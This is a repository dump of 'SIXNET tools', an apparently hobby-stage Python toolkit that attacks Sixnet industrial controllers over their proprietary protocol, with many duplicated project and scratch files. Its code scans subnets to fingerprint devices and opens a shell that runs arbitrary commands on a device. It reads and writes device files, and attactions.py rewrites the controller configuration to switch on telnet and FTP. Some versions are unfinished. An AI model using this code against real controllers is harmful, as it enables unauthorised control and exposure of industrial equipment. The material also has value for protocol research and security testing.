├── .svn
├── format
├── entries
├── pristine
│ ├── 10
│ │ ├── 1033d5d74edd41c55f5f342628ff0f6326f5b004.svn-base
│ │ └── 104dc144e821d3ce7e567fd4bce562a61a732d22.svn-base
│ ├── 11
│ │ └── 11ee53cbaa6923253b0c795844ddae47d277b8ec.svn-base
│ ├── 13
│ │ └── 13c5d1fc6825d70e7e563941168109e9876f44bd.svn-base
│ ├── 21
│ │ ├── 21cd17c06800af61077df4d7d65bc73b61c028d0.svn-base
│ │ └── 217373547da76bbb12bd80330429ccacef0ca78a.svn-base
│ ├── 26
│ │ └── 26c970df516e660e7dbe8e2c0791d4184e37b27f.svn-base
│ ├── 27
│ │ └── 276a5148f58993a51b20b1cce0dba47bc58ed09a.svn-base
│ ├── 28
│ │ └── 28cef827c0fc7e63bdb1deb6e4b995ec5db886d9.svn-base
│ ├── 29
│ │ └── 290256e62cb609adc5faf4da408480c8acf2a212.svn-base
│ ├── 33
│ │ └── 3319fa7cec3221ced2d0fafcd4ed277b4993471c.svn-base
│ ├── 40
│ │ └── 40fc5901e020c6fcc9dfe312e3959de62c3c75c6.svn-base
│ ├── 46
│ │ ├── 4657b9d7bb6ab75caec1c9296c54efa1c3e67570.svn-base
│ │ └── 4657b9d7bb6ab75caec1c9296c54efa1c3e67570 (1).svn-base
│ ├── 49
│ │ └── 492fe3729896d12bb36bd626bf7d790d5de88dfa.svn-base
│ ├── 51
│ │ └── 51fe44b24dbe3b71a2e691439651bb05103fd25f.svn-base
│ ├── 52
│ │ ├── 5245505993501fbad7781a552f4315e6bfb81053.svn-base
│ │ └── 52070f4f50c04d9211bb88e39801a93c6da4ab28.svn-base
│ ├── 55
│ │ ├── 55a272d9d9ed73f1da35ef1d18f1d105262321f9.svn-base
│ │ └── 5566f3f224248b32fb7b5f07b1f9182426127d44.svn-base
│ ├── 56
│ │ └── 5673904cefbd3110e8ebfd08ff28dc5e96fbca6f.svn-base
│ ├── 59
│ │ └── 598a532bd5135f7344c5ebee259ba011a61229e1.svn-base
│ ├── 65
│ │ └── 659be718bebfc42d9c262dd921c4de35e44d2a33.svn-base
│ ├── 67
│ │ ├── 67c10aa2c89bdc6a41454c149d7331c6cdd9163c.svn-base
│ │ └── 67185045aea96ddc8a96cf23f4a8298e04486e6d.svn-base
│ ├── 78
│ │ └── 7813651c4ade7569e9824964168a4205b9ea4353.svn-base
│ ├── 84
│ │ └── 840495243752600d2dff285befe95322b78a9956.svn-base
│ ├── 91
│ │ └── 91de8202adb3105d11775dab65cfeb235b6ed10a.svn-base
│ ├── 96
│ │ └── 96f37371d5d0c2bfeb3f9a8a494b10d8686248a0.svn-base
│ ├── 98
│ │ └── 98c3ec8fc4bb3829c30cbeaff7035a8239a6747a.svn-base
│ ├── da
│ │ └── da39a3ee5e6b4b0d3255bfef95601890afd80709.svn-base
│ ├── 6d
│ │ └── 6d31f6f5a9293a7b8a253e395495c6dcefe9a230.svn-base
│ ├── ea
│ │ └── ea3fbc614413c37f3975abcf3252edaca4b40673.svn-base
│ ├── 08
│ │ └── 0817ea7c427727648d8d7009d29c09c21216d15c.svn-base
│ ├── 1c
│ │ └── 1c3eb53932b7e07ba4c4011461b3f10be92fc9ac.svn-base
│ ├── ab
│ │ └── ab365ab0f9af6a603e338f0f22aa83e8325463cd.svn-base
│ ├── ff
│ │ └── ffd5bc2fcf32183eb1ca68f761ba138eb738c94d.svn-base
│ ├── 8e
│ │ ├── 8e2b1fbc2bf6059e14cdae01b29ba92f75f4a976.svn-base
│ │ └── 8e224a5300a6b4a4e700951b104adf237387ec39.svn-base
│ ├── e9
│ │ └── e982f536ce46c5045f1be62db67acd94ae83d7ae.svn-base
│ ├── fa
│ │ └── fa45fbdeb7cdebe042d56ce86cb9e0db934d6ed9.svn-base
│ ├── a8
│ │ └── a8974ff200eafd3e81ab27495acffb19fb130c9a.svn-base
│ ├── ac
│ │ └── ac3360995f98f13c80d8118421b41dc1e0c820c0.svn-base
│ ├── 6e
│ │ └── 6e0a7745b0e81bde2b90bb29a282aa3cc9387b51.svn-base
│ ├── 3a
│ │ └── 3a613434aa14cfe70359b3a35ac84fd85045919f.svn-base
│ ├── d9
│ │ └── d9d60af8d906e6741438fd485925efbc9b8149f8.svn-base
│ ├── e8
│ │ └── e8eec4dd8ba8fbdc39946b1e1dc84b27dea46d95.svn-base
│ ├── 5b
│ │ └── 5b39d7a4864ec1c3e2c36e6ee9ab403edadffecd.svn-base
│ ├── eb
│ │ └── eb20b4cc3e0ee6bed7bb3be6ab48688fd5a59c9c.svn-base
│ ├── a6
│ │ └── a62be8c38968da4b10e9720e965dfe09b9289d18.svn-base
│ ├── 04
│ │ └── 0451c158608c936d12d19a2c436a887a083010d9.svn-base
│ ├── a5
│ │ └── a5eb023c3c835a0fb86b98541a041f18e6ad5d21.svn-base
│ ├── 5f
│ │ └── 5f588f68ce4e4dd4fca2060dcad046beca251db2.svn-base
│ ├── 5c
│ │ └── 5cc6818f36181091f2c6245c6224dff4d27e2ff3.svn-base
│ ├── 1a
│ │ └── 1a14918dea67b4816ad717fa6791c74e53f30595.svn-base
│ ├── 05
│ │ ├── 05bc60075e2ee9d875edbcc7e587a52563e84032.svn-base
│ │ └── 054c8c60589e83bcaaa0bfa3372cfceef45a4b06.svn-base
│ ├── a9
│ │ └── a91c610e4ef5b92f7fe6b52a6a47ad0b996baa5c.svn-base
│ ├── 6a
│ │ └── 6a015e708897d72b6e3534b449375b3dd1092f80.svn-base
│ ├── c4
│ │ └── c4aa421cc264f318d7baaf9cf3c8cd806b8039bc.svn-base
│ ├── fe
│ │ └── feeb17a45124e4e4f482a86ad3e17f4f50b647a3.svn-base
│ ├── 07
│ │ └── 07ed3dc349bac26b2caf5a21a83b5233d5d31be8.svn-base
│ ├── fb
│ │ └── fb8fa8a4405c0e32c8476c15bbe6b40344106eb8.svn-base
│ ├── 4d
│ │ └── 4d8be87e96ea61d9edcee13b1e0889b7ea9f85aa.svn-base
│ ├── c9
│ │ └── c9f586a854a513861eccbb09f4efeaa0b4ffae60.svn-base
│ ├── b1
│ │ └── b1fa9969776f32be97cf0f4dd0f76f5076b4b463.svn-base
│ ├── ce
│ │ └── ceed0a83f4a299fa56795aaef39abab69ffc60d2.svn-base
│ ├── 09
│ │ └── 09add52f1485422ee00d31d3878a1f9aa22e025e.svn-base
│ ├── 6c
│ │ └── 6c599bcddd3a28906529b4ad90e7ef576702a787.svn-base
│ └── f2
│ │ └── f241babaa65bc0272b161fdfb030f0f8465fa5b9.svn-base
└── wc.db
├── SIXNET tools
├── common_lib.py
├── Modbus.py
├── SIXNET tools.pyproj
├── report.aux
├── telnet.py
├── STX_Networking.py
├── SIXNET_tools.py
├── attactions.py
├── scraper.py
└── file_manip.py
├── SIXNET tools.sln
├── .gitattributes
└── .gitignore
/.svn/format:
--------------------------------------------------------------------------------
1 | 12
2 |
--------------------------------------------------------------------------------
/.svn/entries:
--------------------------------------------------------------------------------
1 | 12
2 |
--------------------------------------------------------------------------------
/.svn/pristine/da/da39a3ee5e6b4b0d3255bfef95601890afd80709.svn-base:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/.svn/wc.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mssabr01/sixnet-tools/HEAD/.svn/wc.db
--------------------------------------------------------------------------------
/.svn/pristine/46/4657b9d7bb6ab75caec1c9296c54efa1c3e67570.svn-base:
--------------------------------------------------------------------------------
1 | print('Hello World')
2 |
--------------------------------------------------------------------------------
/.svn/pristine/46/4657b9d7bb6ab75caec1c9296c54efa1c3e67570 (1).svn-base:
--------------------------------------------------------------------------------
1 | print('Hello World')
2 |
--------------------------------------------------------------------------------
/.svn/pristine/6d/6d31f6f5a9293a7b8a253e395495c6dcefe9a230.svn-base:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import Fingerprinter
4 |
5 | print('Hello World')
6 |
7 | Fingerprinter.find("192.168.1.51")
8 |
--------------------------------------------------------------------------------
/SIXNET tools/common_lib.py:
--------------------------------------------------------------------------------
1 | def int_to_hex_string(int):
2 | """Converts an integer to a 2 digit hex string without the 0x prefix"""
3 | if(int < 16):
4 | return hex(int).replace("x","")
5 | else:
6 | return hex(int).replace("0x","")
--------------------------------------------------------------------------------
/.svn/pristine/52/5245505993501fbad7781a552f4315e6bfb81053.svn-base:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import Fingerprinter
4 | import telnet
5 | import sup_shell
6 | import file_manip
7 |
8 | file_manip.get_file("/etc/hosts", "192.168.1.51")
9 |
10 |
--------------------------------------------------------------------------------
/.svn/pristine/33/3319fa7cec3221ced2d0fafcd4ed277b4993471c.svn-base:
--------------------------------------------------------------------------------
1 | def int_to_hex_string(int):
2 | """Converts an integer to a 2 digit hex string without the 0x prefix"""
3 | if(int < 16):
4 | return hex(int).replace("x","")
5 | else:
6 | return hex(int).replace("0x","")
--------------------------------------------------------------------------------
/.svn/pristine/10/1033d5d74edd41c55f5f342628ff0f6326f5b004.svn-base:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import Fingerprinter
4 | import telnet
5 |
6 | print('Hello World')
7 |
8 | telnet.open_connection("192.168.56.102", 3)
9 | #Fingerprinter.find("192.168.1.0/24")
10 |
--------------------------------------------------------------------------------
/.svn/pristine/ea/ea3fbc614413c37f3975abcf3252edaca4b40673.svn-base:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import Fingerprinter
4 | import telnet
5 | import sup_shell
6 | import file_manip
7 |
8 | file = file_manip.get_file("/etc/protocols", "192.168.1.51")
9 |
10 | print file
11 |
12 | raw_input()
13 |
14 |
--------------------------------------------------------------------------------
/.svn/pristine/08/0817ea7c427727648d8d7009d29c09c21216d15c.svn-base:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import Fingerprinter
4 | import telnet
5 | import Modbus
6 |
7 | #Modbus.do_stuff()
8 |
9 | #telnet.open_connection("192.168.56.102", 23, 3)
10 | Fingerprinter.find("192.168.1.0/24")
11 |
12 | raw_input()
13 |
--------------------------------------------------------------------------------
/.svn/pristine/98/98c3ec8fc4bb3829c30cbeaff7035a8239a6747a.svn-base:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import Fingerprinter
4 | import telnet
5 | import Modbus
6 |
7 | #Modbus.do_stuff()
8 |
9 | #telnet.open_connection("192.168.1.51", 23, 5)
10 | Fingerprinter.find("192.168.1.0/24")
11 |
12 | raw_input()
13 |
--------------------------------------------------------------------------------
/SIXNET tools/Modbus.py:
--------------------------------------------------------------------------------
1 | #from pymodbus.client.sync import ModbusTcpClient
2 |
3 | from pymodbus.client.sync import ModbusTcpClient as ModbusClient
4 | from pymodbus import *
5 |
6 |
7 | def do_stuff():
8 |
9 | client = ModbusClient('127.0.0.1')
10 | print("hi")
11 | #client = ModbusClient('127.0.0.1')
12 | #client.write_coil(1, True)
13 | #result = client.read_coils(1,1)
14 | #print result.bits[0]
15 | #client.close()
--------------------------------------------------------------------------------
/.svn/pristine/10/104dc144e821d3ce7e567fd4bce562a61a732d22.svn-base:
--------------------------------------------------------------------------------
1 | #from pymodbus.client.sync import ModbusTcpClient
2 |
3 | from pymodbus.client.sync import ModbusTcpClient as ModbusClient
4 | from pymodbus import *
5 |
6 |
7 | def do_stuff():
8 |
9 | client = ModbusClient('127.0.0.1')
10 | print("hi")
11 | #client = ModbusClient('127.0.0.1')
12 | #client.write_coil(1, True)
13 | #result = client.read_coils(1,1)
14 | #print result.bits[0]
15 | #client.close()
--------------------------------------------------------------------------------
/.svn/pristine/1c/1c3eb53932b7e07ba4c4011461b3f10be92fc9ac.svn-base:
--------------------------------------------------------------------------------
1 | import SUP_message
2 | import STX_Networking
3 | import sys
4 |
5 |
6 | def sup_shell(ip):
7 | """A very dumb CLI for interfacing with the sixnet device at the designated ip"""
8 | print("Sixnet Universal Protocol shell v0.1")
9 | while(True):
10 | #read in the shell command from the user and send that shit off
11 | reply = STX_Networking.send_command(ip, raw_input('someone$ '))
12 |
13 | #Decode the reply and print it
14 | print reply.data[4:].decode("hex")
--------------------------------------------------------------------------------
/.svn/pristine/ab/ab365ab0f9af6a603e338f0f22aa83e8325463cd.svn-base:
--------------------------------------------------------------------------------
1 | import SUP_message
2 | import Fingerprinter
3 | import sys
4 |
5 |
6 | def sup_shell():
7 | print("Sixnet Universal Protocol shell v0.1")
8 | while(True):
9 |
10 | msg = SUP_message.sup_msg()
11 | msg.shell_command(raw_input('someone$ '))
12 |
13 | cmd = msg.create()
14 |
15 | #print ("data: " + cmd)
16 | reply = Fingerprinter.send_msg(cmd,"192.168.1.51")
17 |
18 | #reply.print_all()
19 | #print
20 | #print reply.data
21 | print reply.data[4:].decode("hex")
--------------------------------------------------------------------------------
/.svn/pristine/65/659be718bebfc42d9c262dd921c4de35e44d2a33.svn-base:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import Fingerprinter
4 | #import telnet
5 | import SUP_message
6 |
7 | #Modbus.do_stuff()
8 |
9 | #telnet.open_connection("192.168.1.51", 23, 5)
10 | #Fingerprinter.find("192.168.1.0/24")
11 |
12 | msg = SUP_message.sup_msg()
13 | msg.shell_command("ps -p $$")
14 |
15 | cmd = msg.create()
16 |
17 | #print ("data: " + cmd)
18 | reply = Fingerprinter.send_msg(cmd,"192.168.1.51")
19 |
20 | #reply.print_all()
21 | #print
22 | #print reply.data
23 | if(reply != -1):
24 | print reply.data[4:].decode("hex")
25 | else:
26 | print("No data!")
27 |
28 | raw_input()
29 |
--------------------------------------------------------------------------------
/.svn/pristine/91/91de8202adb3105d11775dab65cfeb235b6ed10a.svn-base:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import Fingerprinter
4 | import telnet
5 | import sup_shell
6 | import file_manip, attactions
7 |
8 | ip = "192.168.1.51"
9 |
10 | contents = "ACHTUNG!\n"
11 | contents += "ALLES TURISTEN UND NONTEKNISCHEN LOOKENPEEPERS!\n"
12 | contents += "DAS KOMPUTERMASCHINE IST NICHT FUR DER GEFINGERPOKEN UND MITTENGRABEN! ODERWISE IST EASY TO SCHNAPPEN DER SPRINGENWERK, BLOWENFUSEN UND POPPENCORKEN MIT SPITZENSPARKSEN.\n"
13 | contents += "IST NICHT FUR GEWERKEN BEI DUMMKOPFEN. DER RUBBERNECKEN SIGHTSEEREN KEEPEN DAS COTTONPICKEN HANDER IN DAS POCKETS MUSS.\n"
14 | contents += "ZO RELAXEN UND WATSCHEN DER BLINKENLICHTEN.\n"
15 |
16 | attactions.enable_telnet(ip)
17 | raw_input()
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/.svn/pristine/78/7813651c4ade7569e9824964168a4205b9ea4353.svn-base:
--------------------------------------------------------------------------------
1 | import file_manip
2 |
3 | def enable_ftp(ip):
4 | sixnet_config = "/etc/stacfg/general.config"
5 | """Enables telnet on a sixnet device if it is not already enabled"""
6 | config = file_manip.get_file(sixnet_config, ip)
7 |
8 | #find telnet part and change it from 0 to 1
9 | new_config = config.replace("enable ftp=0", "enable ftp=1")
10 |
11 | file_manip.write_file(sixnet_config, new_config, ip)
12 |
13 | def enable_telnet(ip):
14 | sixnet_config = "/etc/stacfg/general.config"
15 | """Enables telnet on a sixnet device if it is not already enabled"""
16 | config = file_manip.get_file(sixnet_config, ip)
17 |
18 | #find telnet part and change it from 0 to 1
19 | new_config = config.replace("enable telnet=0", "enable telnet=1")
20 |
21 | file_manip.write_file(sixnet_config, new_config, ip)
--------------------------------------------------------------------------------
/.svn/pristine/96/96f37371d5d0c2bfeb3f9a8a494b10d8686248a0.svn-base:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import Fingerprinter
4 | import telnet
5 | import sup_shell
6 | import file_manip
7 |
8 | contents = "ACHTUNG!\n"
9 | contents += "ALLES TURISTEN UND NONTEKNISCHEN LOOKENPEEPERS!\n"
10 | contents += "DAS KOMPUTERMASCHINE IST NICHT FUR DER GEFINGERPOKEN UND MITTENGRABEN! ODERWISE IST EASY TO SCHNAPPEN DER SPRINGENWERK, BLOWENFUSEN UND POPPENCORKEN MIT SPITZENSPARKSEN.\n"
11 | contents += "IST NICHT FUR GEWERKEN BEI DUMMKOPFEN. DER RUBBERNECKEN SIGHTSEEREN KEEPEN DAS COTTONPICKEN HANDER IN DAS POCKETS MUSS.\n"
12 | contents += "ZO RELAXEN UND WATSCHEN DER BLINKENLICHTEN.\n"
13 |
14 |
15 | file_manip.write_file("/etc/mehdi/write_test.new", "new stuff bro", "192.168.1.51")
16 |
17 | #def enable_telnet():
18 | # sixnet_config = "/etc/stacfg/general.config"
19 | # """Enables telnet on a sixnet device if it is not already enabled"""
20 | # file_manip.get_file
21 |
22 | raw_input()
23 |
24 |
--------------------------------------------------------------------------------
/.svn/pristine/ff/ffd5bc2fcf32183eb1ca68f761ba138eb738c94d.svn-base:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2012
4 | Project("{888888A0-9F3D-457C-B088-3A5042F75D52}") = "SIXNET tools", "SIXNET tools\SIXNET tools.pyproj", "{21C5D43D-81C6-4152-B8F7-E6C5EFE1B7FB}"
5 | EndProject
6 | Global
7 | GlobalSection(SubversionScc) = preSolution
8 | Svn-Managed = True
9 | Manager = AnkhSVN - Subversion Support for Visual Studio
10 | EndGlobalSection
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|Any CPU = Debug|Any CPU
13 | Release|Any CPU = Release|Any CPU
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {21C5D43D-81C6-4152-B8F7-E6C5EFE1B7FB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {21C5D43D-81C6-4152-B8F7-E6C5EFE1B7FB}.Release|Any CPU.ActiveCfg = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/SIXNET tools.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.27428.2005
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{888888A0-9F3D-457C-B088-3A5042F75D52}") = "SIXNET tools", "SIXNET tools\SIXNET tools.pyproj", "{21C5D43D-81C6-4152-B8F7-E6C5EFE1B7FB}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {21C5D43D-81C6-4152-B8F7-E6C5EFE1B7FB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {21C5D43D-81C6-4152-B8F7-E6C5EFE1B7FB}.Release|Any CPU.ActiveCfg = Release|Any CPU
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | GlobalSection(ExtensibilityGlobals) = postSolution
21 | SolutionGuid = {D42881D1-8FE3-45E5-96BA-5E50A1432517}
22 | EndGlobalSection
23 | GlobalSection(SubversionScc) = preSolution
24 | Svn-Managed = True
25 | Manager = AnkhSVN - Subversion Support for Visual Studio
26 | EndGlobalSection
27 | EndGlobal
28 |
--------------------------------------------------------------------------------
/.svn/pristine/8e/8e2b1fbc2bf6059e14cdae01b29ba92f75f4a976.svn-base:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | 2.0
6 | 21c5d43d-81c6-4152-b8f7-e6c5efe1b7fb
7 | .
8 | SIXNET_tools.py
9 |
10 |
11 | .
12 | .
13 | SIXNET tools
14 | SIXNET tools
15 |
16 |
17 | true
18 | false
19 |
20 |
21 | true
22 | false
23 |
24 |
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/.svn/pristine/49/492fe3729896d12bb36bd626bf7d790d5de88dfa.svn-base:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | 2.0
6 | 21c5d43d-81c6-4152-b8f7-e6c5efe1b7fb
7 | .
8 | SIXNET_tools.py
9 |
10 |
11 | .
12 | .
13 | SIXNET tools
14 | SIXNET tools
15 |
16 |
17 | true
18 | false
19 |
20 |
21 | true
22 | false
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/.svn/pristine/55/55a272d9d9ed73f1da35ef1d18f1d105262321f9.svn-base:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | 2.0
6 | 21c5d43d-81c6-4152-b8f7-e6c5efe1b7fb
7 | .
8 | SIXNET_tools.py
9 |
10 |
11 | .
12 | .
13 | SIXNET tools
14 | SIXNET tools
15 |
16 |
17 | true
18 | false
19 |
20 |
21 | true
22 | false
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
--------------------------------------------------------------------------------
/.svn/pristine/e9/e982f536ce46c5045f1be62db67acd94ae83d7ae.svn-base:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | 2.0
6 | 21c5d43d-81c6-4152-b8f7-e6c5efe1b7fb
7 | .
8 | SIXNET_tools.py
9 |
10 |
11 | .
12 | .
13 | SIXNET tools
14 | SIXNET tools
15 |
16 |
17 | true
18 | false
19 |
20 |
21 | true
22 | false
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/.svn/pristine/fa/fa45fbdeb7cdebe042d56ce86cb9e0db934d6ed9.svn-base:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | 2.0
6 | 21c5d43d-81c6-4152-b8f7-e6c5efe1b7fb
7 | .
8 | SIXNET_tools.py
9 |
10 |
11 | .
12 | .
13 | SIXNET tools
14 | SIXNET tools
15 |
16 |
17 | true
18 | false
19 |
20 |
21 | true
22 | false
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/.svn/pristine/a8/a8974ff200eafd3e81ab27495acffb19fb130c9a.svn-base:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | 2.0
6 | 21c5d43d-81c6-4152-b8f7-e6c5efe1b7fb
7 | .
8 | SIXNET_tools.py
9 |
10 |
11 | .
12 | .
13 | SIXNET tools
14 | SIXNET tools
15 |
16 |
17 | true
18 | false
19 |
20 |
21 | true
22 | false
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/.svn/pristine/21/21cd17c06800af61077df4d7d65bc73b61c028d0.svn-base:
--------------------------------------------------------------------------------
1 | import SUP_message
2 | import Fingerprinter
3 |
4 | #I guess we just craft a message and send that shit? idk lol lets do it
5 |
6 | #the protocol seems to send over the path of the file it wants first, then gets a blank ACK, sends a blank 1A command, then gets the contents
7 | #of the file in the second reply
8 |
9 |
10 | def get_file(file_path, ip):
11 | pkt = SUP_message.sup_msg()
12 |
13 | pkt.file_command(file_path)
14 | reply = Fingerprinter.send_msg(pkt.create(), ip)
15 | #send this after the ACK?
16 | #7d:0d:ff:f0:c0:01:1a:06:00:04:9f:9f:80:1d:0f
17 | #reply = Fingerprinter.send_msg("7d0dfff0c0011a0600049f9f801d0f", ip)
18 | #So this didn't quite work. The packet that was sent back this time had some different stuff in it
19 | #I think I need to make that different stuff match in the second packet I send over
20 |
21 | code = check_value(reply)
22 | reply = Fingerprinter.send_msg("7d0dfff0c0011a06" + code + "1d0f", ip)
23 | #that comes back with the name of the file, I guess as a confirmation
24 |
25 | #what iotk sends now: 7d:12:ff:f0:c0:02:1a:01:04:9f:9f:80:00:00:00:00:00:3e:1d:0f
26 | reply = Fingerprinter.send_msg("7d12fff0c0021a01" + code[2:] + "00000000003e1d0f", ip)
27 |
28 | #The file data is in the reply, I just need to format it and shit. Also I need to figure out what to do with it (temp file?)
29 |
30 | print("hi")
31 |
32 | def check_value(reply):
33 | value = reply.data
34 | value = value[-10:] #get the last 10 characters of the data field
35 | return value
--------------------------------------------------------------------------------
/.svn/pristine/ac/ac3360995f98f13c80d8118421b41dc1e0c820c0.svn-base:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | 2.0
6 | 21c5d43d-81c6-4152-b8f7-e6c5efe1b7fb
7 | .
8 | SIXNET_tools.py
9 |
10 |
11 | .
12 | .
13 | SIXNET tools
14 | SIXNET tools
15 |
16 |
17 | true
18 | false
19 |
20 |
21 | true
22 | false
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/.svn/pristine/59/598a532bd5135f7344c5ebee259ba011a61229e1.svn-base:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | 2.0
6 | 21c5d43d-81c6-4152-b8f7-e6c5efe1b7fb
7 | .
8 | SIXNET_tools.py
9 |
10 |
11 | .
12 | .
13 | SIXNET tools
14 | SIXNET tools
15 |
16 |
17 | true
18 | false
19 |
20 |
21 | true
22 | false
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/.svn/pristine/6e/6e0a7745b0e81bde2b90bb29a282aa3cc9387b51.svn-base:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | 2.0
6 | 21c5d43d-81c6-4152-b8f7-e6c5efe1b7fb
7 | .
8 | SIXNET_tools.py
9 |
10 |
11 | .
12 | .
13 | SIXNET tools
14 | SIXNET tools
15 | Standard Python launcher
16 | -T
17 |
18 |
19 |
20 |
21 | true
22 | false
23 |
24 |
25 | true
26 | false
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/.svn/pristine/27/276a5148f58993a51b20b1cce0dba47bc58ed09a.svn-base:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | 2.0
6 | 21c5d43d-81c6-4152-b8f7-e6c5efe1b7fb
7 | .
8 | SIXNET_tools.py
9 |
10 |
11 | .
12 | .
13 | SIXNET tools
14 | SIXNET tools
15 | Standard Python launcher
16 | -l 192.168.1.51
17 |
18 |
19 |
20 |
21 | true
22 | false
23 |
24 |
25 | true
26 | false
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/.svn/pristine/3a/3a613434aa14cfe70359b3a35ac84fd85045919f.svn-base:
--------------------------------------------------------------------------------
1 | import file_manip
2 | from SUP_message import sup_msg
3 | import STX_Networking
4 |
5 | def enable_ftp(ip):
6 | sixnet_config = "/etc/stacfg/general.config"
7 | """Enables telnet on a sixnet device if it is not already enabled"""
8 | print("enabling ftp...")
9 | config = file_manip.get_file(sixnet_config, ip)
10 |
11 | #find telnet part and change it from 0 to 1
12 | new_config = config.replace("enable ftp=0", "enable ftp=1")
13 |
14 | file_manip.write_file(sixnet_config, new_config, ip)
15 | print("Success!")
16 |
17 | def enable_telnet(ip):
18 | sixnet_config = "/etc/stacfg/general.config"
19 | """Enables telnet on a sixnet device if it is not already enabled"""
20 | print("enabling telnet...")
21 | config = file_manip.get_file(sixnet_config, ip)
22 |
23 | #find telnet part and change it from 0 to 1
24 | new_config = config.replace("enable telnet=0", "enable telnet=1")
25 |
26 | file_manip.write_file(sixnet_config, new_config, ip)
27 | print("Success!")
28 |
29 | def fingerprint(address):
30 | """Gets the Sixnet firmware version, IO map, and OS version"""
31 | file = "/etc/sxbuildinfo.txt"
32 | build_info = file_manip.get_file(file, address)
33 |
34 | #format the build info to remove unnecessary data
35 | build_info = build_info.split("\t")
36 | build_info = build_info[0] + " " + build_info[1]
37 |
38 | #TODO: Find analog/digital inputs/outputs
39 | #I think the only way to do it is to query each one and see if I get a response or an error or something
40 | #After much fiddling this thing will let you read from or write to 8192 input and output registers with out telling you that
41 | #only 4 of those are actually being used.
42 |
43 | #just send a uname command over
44 | os_ver = STX_Networking.send_command(address,"uname -sr").data[4:].decode("hex")
45 |
46 | print("Firmware:\t" + build_info)
47 | print("OS: \t\t" + os_ver)
48 |
49 |
--------------------------------------------------------------------------------
/SIXNET tools/SIXNET tools.pyproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | 2.0
6 | 21c5d43d-81c6-4152-b8f7-e6c5efe1b7fb
7 | .
8 | SIXNET_tools.py
9 |
10 |
11 | .
12 | .
13 | SIXNET tools
14 | SIXNET tools
15 | Standard Python launcher
16 |
17 |
18 |
19 |
20 | Global|PythonCore|2.7
21 | False
22 |
23 |
24 | true
25 | false
26 |
27 |
28 | true
29 | false
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
--------------------------------------------------------------------------------
/.svn/pristine/d9/d9d60af8d906e6741438fd485925efbc9b8149f8.svn-base:
--------------------------------------------------------------------------------
1 | class SUP_message(object):
2 | """SIXNET Universal Protocol message
3 | #field order/size (bytes)
4 | # lead 1
5 | # length 1
6 | # dest 1 or 2
7 | # src 1 or 2
8 | # session 1
